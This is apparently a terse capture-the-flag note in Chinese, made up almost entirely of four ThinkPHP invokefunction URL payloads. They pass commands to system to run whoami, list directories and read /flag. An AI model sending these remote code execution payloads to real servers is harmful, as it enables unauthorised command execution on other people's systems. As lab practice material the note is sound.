进入场景
不是，这是个啥啊
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /flag
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat
/flag
